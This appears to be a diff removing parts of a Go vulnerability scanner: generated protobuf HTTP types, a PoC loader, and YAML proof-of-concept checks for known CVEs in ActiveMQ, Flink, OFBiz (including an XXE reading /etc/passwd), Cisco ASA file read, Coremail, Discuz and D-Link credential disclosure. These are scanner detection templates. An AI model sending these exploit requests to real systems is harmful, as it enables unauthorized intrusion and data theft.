Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
|
|
||||||
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
|
|
||||||
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
|
|
||||||
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
|
|
||||||
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
|
|
||||||
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
|
|
||||||
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
|
|
||||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
|
||||||
XXX_unrecognized []byte `json:"-"`
|
|
||||||
XXX_sizecache int32 `json:"-"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) Reset() { *m = UrlType{} }
|
|
||||||
func (m *UrlType) String() string { return proto.CompactTextString(m) }
|
|
||||||
func (*UrlType) ProtoMessage() {}
|
|
||||||
func (*UrlType) Descriptor() ([]byte, []int) {
|
|
||||||
return fileDescriptor_11b04836674e6f94, []int{0}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) XXX_Unmarshal(b []byte) error {
|
|
||||||
return xxx_messageInfo_UrlType.Unmarshal(m, b)
|
|
||||||
}
|
|
||||||
func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
|
||||||
return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
|
|
||||||
}
|
|
||||||
func (m *UrlType) XXX_Merge(src proto.Message) {
|
|
||||||
xxx_messageInfo_UrlType.Merge(m, src)
|
|
||||||
}
|
|
||||||
func (m *UrlType) XXX_Size() int {
|
|
||||||
return xxx_messageInfo_UrlType.Size(m)
|
|
||||||
}
|
|
||||||
func (m *UrlType) XXX_DiscardUnknown() {
|
|
||||||
xxx_messageInfo_UrlType.DiscardUnknown(m)
|
|
||||||
}
|
|
||||||
|
|
||||||
var xxx_messageInfo_UrlType proto.InternalMessageInfo
|
|
||||||
|
|
||||||
func (m *UrlType) GetScheme() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Scheme
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) GetDomain() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Domain
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) GetHost() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Host
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) GetPort() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Port
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) GetPath() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Path
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) GetQuery() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Query
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) GetFragment() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Fragment
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
type Request struct {
|
|
||||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
|
||||||
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
|
|
||||||
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
|
|
||||||
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
|
|
||||||
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
|
|
||||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
|
||||||
XXX_unrecognized []byte `json:"-"`
|
|
||||||
XXX_sizecache int32 `json:"-"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Request) Reset() { *m = Request{} }
|
|
||||||
func (m *Request) String() string { return proto.CompactTextString(m) }
|
|
||||||
func (*Request) ProtoMessage() {}
|
|
||||||
func (*Request) Descriptor() ([]byte, []int) {
|
|
||||||
return fileDescriptor_11b04836674e6f94, []int{1}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Request) XXX_Unmarshal(b []byte) error {
|
|
||||||
return xxx_messageInfo_Request.Unmarshal(m, b)
|
|
||||||
}
|
|
||||||
func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
|
||||||
return xxx_messageInfo_Request.Marshal(b, m, deterministic)
|
|
||||||
}
|
|
||||||
func (m *Request) XXX_Merge(src proto.Message) {
|
|
||||||
xxx_messageInfo_Request.Merge(m, src)
|
|
||||||
}
|
|
||||||
func (m *Request) XXX_Size() int {
|
|
||||||
return xxx_messageInfo_Request.Size(m)
|
|
||||||
}
|
|
||||||
func (m *Request) XXX_DiscardUnknown() {
|
|
||||||
xxx_messageInfo_Request.DiscardUnknown(m)
|
|
||||||
}
|
|
||||||
|
|
||||||
var xxx_messageInfo_Request proto.InternalMessageInfo
|
|
||||||
|
|
||||||
func (m *Request) GetUrl() *UrlType {
|
|
||||||
if m != nil {
|
|
||||||
return m.Url
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Request) GetMethod() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Method
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Request) GetHeaders() map[string]string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Headers
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Request) GetContentType() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.ContentType
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Request) GetBody() []byte {
|
|
||||||
if m != nil {
|
|
||||||
return m.Body
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
type Response struct {
|
|
||||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
|
||||||
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
|
|
||||||
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
|
|
||||||
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
|
|
||||||
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
|
|
||||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
|
||||||
XXX_unrecognized []byte `json:"-"`
|
|
||||||
XXX_sizecache int32 `json:"-"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Response) Reset() { *m = Response{} }
|
|
||||||
func (m *Response) String() string { return proto.CompactTextString(m) }
|
|
||||||
func (*Response) ProtoMessage() {}
|
|
||||||
func (*Response) Descriptor() ([]byte, []int) {
|
|
||||||
return fileDescriptor_11b04836674e6f94, []int{2}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Response) XXX_Unmarshal(b []byte) error {
|
|
||||||
return xxx_messageInfo_Response.Unmarshal(m, b)
|
|
||||||
}
|
|
||||||
func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
|
||||||
return xxx_messageInfo_Response.Marshal(b, m, deterministic)
|
|
||||||
}
|
|
||||||
func (m *Response) XXX_Merge(src proto.Message) {
|
|
||||||
xxx_messageInfo_Response.Merge(m, src)
|
|
||||||
}
|
|
||||||
func (m *Response) XXX_Size() int {
|
|
||||||
return xxx_messageInfo_Response.Size(m)
|
|
||||||
}
|
|
||||||
func (m *Response) XXX_DiscardUnknown() {
|
|
||||||
xxx_messageInfo_Response.DiscardUnknown(m)
|
|
||||||
}
|
|
||||||
|
|
||||||
var xxx_messageInfo_Response proto.InternalMessageInfo
|
|
||||||
|
|
||||||
func (m *Response) GetUrl() *UrlType {
|
|
||||||
if m != nil {
|
|
||||||
return m.Url
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Response) GetStatus() int32 {
|
|
||||||
if m != nil {
|
|
||||||
return m.Status
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Response) GetHeaders() map[string]string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Headers
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Response) GetContentType() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.ContentType
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Response) GetBody() []byte {
|
|
||||||
if m != nil {
|
|
||||||
return m.Body
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
type Reverse struct {
|
|
||||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
|
||||||
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
|
|
||||||
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
|
|
||||||
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
|
|
||||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
|
||||||
XXX_unrecognized []byte `json:"-"`
|
|
||||||
XXX_sizecache int32 `json:"-"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Reverse) Reset() { *m = Reverse{} }
|
|
||||||
func (m *Reverse) String() string { return proto.CompactTextString(m) }
|
|
||||||
func (*Reverse) ProtoMessage() {}
|
|
||||||
func (*Reverse) Descriptor() ([]byte, []int) {
|
|
||||||
return fileDescriptor_11b04836674e6f94, []int{3}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Reverse) XXX_Unmarshal(b []byte) error {
|
|
||||||
return xxx_messageInfo_Reverse.Unmarshal(m, b)
|
|
||||||
}
|
|
||||||
func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
|
||||||
return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
|
|
||||||
}
|
|
||||||
func (m *Reverse) XXX_Merge(src proto.Message) {
|
|
||||||
xxx_messageInfo_Reverse.Merge(m, src)
|
|
||||||
}
|
|
||||||
func (m *Reverse) XXX_Size() int {
|
|
||||||
return xxx_messageInfo_Reverse.Size(m)
|
|
||||||
}
|
|
||||||
func (m *Reverse) XXX_DiscardUnknown() {
|
|
||||||
xxx_messageInfo_Reverse.DiscardUnknown(m)
|
|
||||||
}
|
|
||||||
|
|
||||||
var xxx_messageInfo_Reverse proto.InternalMessageInfo
|
|
||||||
|
|
||||||
func (m *Reverse) GetUrl() *UrlType {
|
|
||||||
if m != nil {
|
|
||||||
return m.Url
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Reverse) GetDomain() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Domain
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Reverse) GetIp() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Ip
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Reverse) GetIsDomainNameServer() bool {
|
|
||||||
if m != nil {
|
|
||||||
return m.IsDomainNameServer
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
func init() {
|
|
||||||
proto.RegisterType((*UrlType)(nil), "lib.UrlType")
|
|
||||||
proto.RegisterType((*Request)(nil), "lib.Request")
|
|
||||||
proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
|
|
||||||
proto.RegisterType((*Response)(nil), "lib.Response")
|
|
||||||
proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
|
|
||||||
proto.RegisterType((*Reverse)(nil), "lib.Reverse")
|
|
||||||
}
|
|
||||||
|
|
||||||
func init() {
|
|
||||||
proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
|
|
||||||
}
|
|
||||||
|
|
||||||
var fileDescriptor_11b04836674e6f94 = []byte{
|
|
||||||
// 378 bytes of a gzipped FileDescriptorProto
|
|
||||||
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
|
|
||||||
0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
|
|
||||||
0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
|
|
||||||
0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
|
|
||||||
0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
|
|
||||||
0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
|
|
||||||
0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
|
|
||||||
0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
|
|
||||||
0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
|
|
||||||
0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
|
|
||||||
0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
|
|
||||||
0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
|
|
||||||
0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
|
|
||||||
0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
|
|
||||||
0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
|
|
||||||
0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
|
|
||||||
0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
|
|
||||||
0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
|
|
||||||
0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
|
|
||||||
0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
|
|
||||||
0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
|
|
||||||
0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
|
|
||||||
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
|
|
||||||
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
|
|
||||||
}
|
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
syntax = "proto3";
|
|
||||||
package lib;
|
|
||||||
|
|
||||||
message UrlType {
|
|
||||||
string scheme = 1;
|
|
||||||
string domain = 2;
|
|
||||||
string host = 3;
|
|
||||||
string port = 4;
|
|
||||||
string path = 5;
|
|
||||||
string query = 6;
|
|
||||||
string fragment = 7;
|
|
||||||
}
|
|
||||||
|
|
||||||
message Request {
|
|
||||||
UrlType url = 1;
|
|
||||||
string method = 2;
|
|
||||||
map<string, string> headers = 3;
|
|
||||||
string content_type = 4;
|
|
||||||
bytes body = 5;
|
|
||||||
}
|
|
||||||
|
|
||||||
message Response {
|
|
||||||
UrlType url = 1;
|
|
||||||
int32 status = 2 ;
|
|
||||||
map<string, string> headers = 3;
|
|
||||||
string content_type = 4;
|
|
||||||
bytes body = 5;
|
|
||||||
}
|
|
||||||
|
|
||||||
message Reverse {
|
|
||||||
UrlType url = 1;
|
|
||||||
string domain = 2;
|
|
||||||
string ip = 3;
|
|
||||||
bool is_domain_name_server = 4;
|
|
||||||
}
|
|
||||||
@@ -1,70 +0,0 @@
|
|||||||
package lib
|
|
||||||
|
|
||||||
import (
|
|
||||||
"embed"
|
|
||||||
"fmt"
|
|
||||||
"gopkg.in/yaml.v3"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
type Poc struct {
|
|
||||||
Name string `yaml:"name"`
|
|
||||||
Set map[string]string `yaml:"set"`
|
|
||||||
Rules []Rules `yaml:"rules"`
|
|
||||||
Detail Detail `yaml:"detail"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type Rules struct {
|
|
||||||
Method string `yaml:"method"`
|
|
||||||
Path string `yaml:"path"`
|
|
||||||
Headers map[string]string `yaml:"headers"`
|
|
||||||
Body string `yaml:"body"`
|
|
||||||
Search string `yaml:"search"`
|
|
||||||
FollowRedirects bool `yaml:"follow_redirects"`
|
|
||||||
Expression string `yaml:"expression"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type Detail struct {
|
|
||||||
Author string `yaml:"author"`
|
|
||||||
Links []string `yaml:"links"`
|
|
||||||
Description string `yaml:"description"`
|
|
||||||
Version string `yaml:"version"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
|
|
||||||
var pocs []*Poc
|
|
||||||
for _, f := range SelectPoc(Pocs, pocname) {
|
|
||||||
if p, err := loadPoc(f, Pocs); err == nil {
|
|
||||||
pocs = append(pocs, p)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return pocs
|
|
||||||
}
|
|
||||||
|
|
||||||
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
|
|
||||||
p := &Poc{}
|
|
||||||
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
|
|
||||||
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
err = yaml.Unmarshal(yamlFile, p)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return p, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func SelectPoc(Pocs embed.FS, pocname string) []string {
|
|
||||||
entries, err := Pocs.ReadDir("pocs")
|
|
||||||
if err != nil {
|
|
||||||
fmt.Println(err)
|
|
||||||
}
|
|
||||||
var foundFiles []string
|
|
||||||
for _, entry := range entries {
|
|
||||||
if strings.Contains(entry.Name(), pocname) {
|
|
||||||
foundFiles = append(foundFiles, entry.Name())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return foundFiles
|
|
||||||
}
|
|
||||||
@@ -1,34 +0,0 @@
|
|||||||
name: poc-yaml-activemq-cve-2016-3088
|
|
||||||
set:
|
|
||||||
filename: randomLowercase(6)
|
|
||||||
fileContent: randomLowercase(6)
|
|
||||||
rules:
|
|
||||||
- method: PUT
|
|
||||||
path: /fileserver/{{filename}}.txt
|
|
||||||
body: |
|
|
||||||
{{fileContent}}
|
|
||||||
expression: |
|
|
||||||
response.status == 204
|
|
||||||
- method: GET
|
|
||||||
path: /admin/test/index.jsp
|
|
||||||
search: |
|
|
||||||
activemq.home=(?P<home>.*?),
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200
|
|
||||||
- method: MOVE
|
|
||||||
path: /fileserver/{{filename}}.txt
|
|
||||||
headers:
|
|
||||||
Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 204
|
|
||||||
- method: GET
|
|
||||||
path: /api/{{filename}}.jsp
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(fileContent))
|
|
||||||
detail:
|
|
||||||
author: j4ckzh0u(https://github.com/j4ckzh0u)
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
name: poc-yaml-apache-flink-upload-rce
|
|
||||||
set:
|
|
||||||
r1: randomLowercase(8)
|
|
||||||
r2: randomLowercase(4)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /jars
|
|
||||||
follow_redirects: true
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.content_type.contains("json") &&
|
|
||||||
response.body.bcontains(b"address") && response.body.bcontains(b"files")
|
|
||||||
- method: POST
|
|
||||||
path: /jars/upload
|
|
||||||
headers:
|
|
||||||
Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
|
|
||||||
body: |-
|
|
||||||
--8ce4b16b22b58894aa86c421e8759df3
|
|
||||||
Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
|
|
||||||
Content-Type:application/octet-stream
|
|
||||||
|
|
||||||
{{r1}}
|
|
||||||
--8ce4b16b22b58894aa86c421e8759df3--
|
|
||||||
|
|
||||||
follow_redirects: true
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.content_type.contains("json") &&
|
|
||||||
response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
|
|
||||||
search: >-
|
|
||||||
(?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
|
|
||||||
- method: DELETE
|
|
||||||
path: '/jars/{{filen}}'
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200
|
|
||||||
detail:
|
|
||||||
author: timwhite
|
|
||||||
links:
|
|
||||||
- https://github.com/LandGrey/flink-unauth-rce
|
|
||||||
@@ -1,19 +0,0 @@
|
|||||||
name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
|
|
||||||
set:
|
|
||||||
rand: randomInt(200000000, 210000000)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /webtools/control/xmlrpc
|
|
||||||
headers:
|
|
||||||
Content-Type: application/xml
|
|
||||||
body: >-
|
|
||||||
<?xml
|
|
||||||
version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
|
|
||||||
detail:
|
|
||||||
author: su(https://suzzz112113.github.io/#blog)
|
|
||||||
links:
|
|
||||||
- https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
|
|
||||||
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
name: poc-yaml-apacheofbiz-cve-2018-8033-xxe
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /webtools/control/xmlrpc
|
|
||||||
headers:
|
|
||||||
Content-Type: application/xml
|
|
||||||
body: >-
|
|
||||||
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml")
|
|
||||||
detail:
|
|
||||||
author: su(https://suzzz112113.github.io/#blog)
|
|
||||||
links:
|
|
||||||
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-bt742-pma-unauthorized-access
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /pma/
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"information_schema") && response.body.bcontains(b"phpMyAdmin") && response.body.bcontains(b"server_sql.php")
|
|
||||||
detail:
|
|
||||||
author: Facker007(https://github.com/Facker007)
|
|
||||||
links:
|
|
||||||
- https://mp.weixin.qq.com/s/KgAaFRKarMdycYzETyKS8A
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-cisco-cve-2020-3452-readfile
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.status == 200 && response.headers["Content-Type"] == "application/octet-stream" && response.body.bcontains(b"INTERNAL_PASSWORD_ENABLED")
|
|
||||||
detail:
|
|
||||||
author: JrD (https://github.com/JrDw0/)
|
|
||||||
links:
|
|
||||||
- https://nvd.nist.gov/vuln/detail/CVE-2020-3452
|
|
||||||
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
name: poc-yaml-coremail-cnvd-2019-16798
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/mailsms/s?func=ADMIN:appState&dumpConfig=/
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.body.bcontains(bytes("<object name=\"cm_md_db\">"))
|
|
||||||
detail:
|
|
||||||
author: cc_ci(https://github.com/cc8ci)
|
|
||||||
links:
|
|
||||||
- https://www.secpulse.com/archives/107611.html
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
name: poc-yaml-discuz-ml3x-cnvd-2019-22239
|
|
||||||
set:
|
|
||||||
r1: randomInt(800000000, 1000000000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /forum.php
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200
|
|
||||||
search: cookiepre = '(?P<token>[\w_]+)'
|
|
||||||
- method: GET
|
|
||||||
path: /forum.php
|
|
||||||
headers:
|
|
||||||
Cookie: "{{token}}language=sc'.print(md5({{r1}})).'"
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))
|
|
||||||
detail:
|
|
||||||
author: X.Yang
|
|
||||||
Discuz_version: Discuz!ML 3.x
|
|
||||||
links:
|
|
||||||
- https://www.cnvd.org.cn/flaw/show/CNVD-2019-22239
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
name: poc-yaml-dlink-cve-2019-17506
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /getcfg.php
|
|
||||||
headers:
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.body.bcontains(b"<name>") && response.body.bcontains(b"<password>")
|
|
||||||
detail:
|
|
||||||
author: l1nk3r,Huasir(https://github.com/dahua966/)
|
|
||||||
links:
|
|
||||||
- https://xz.aliyun.com/t/6453
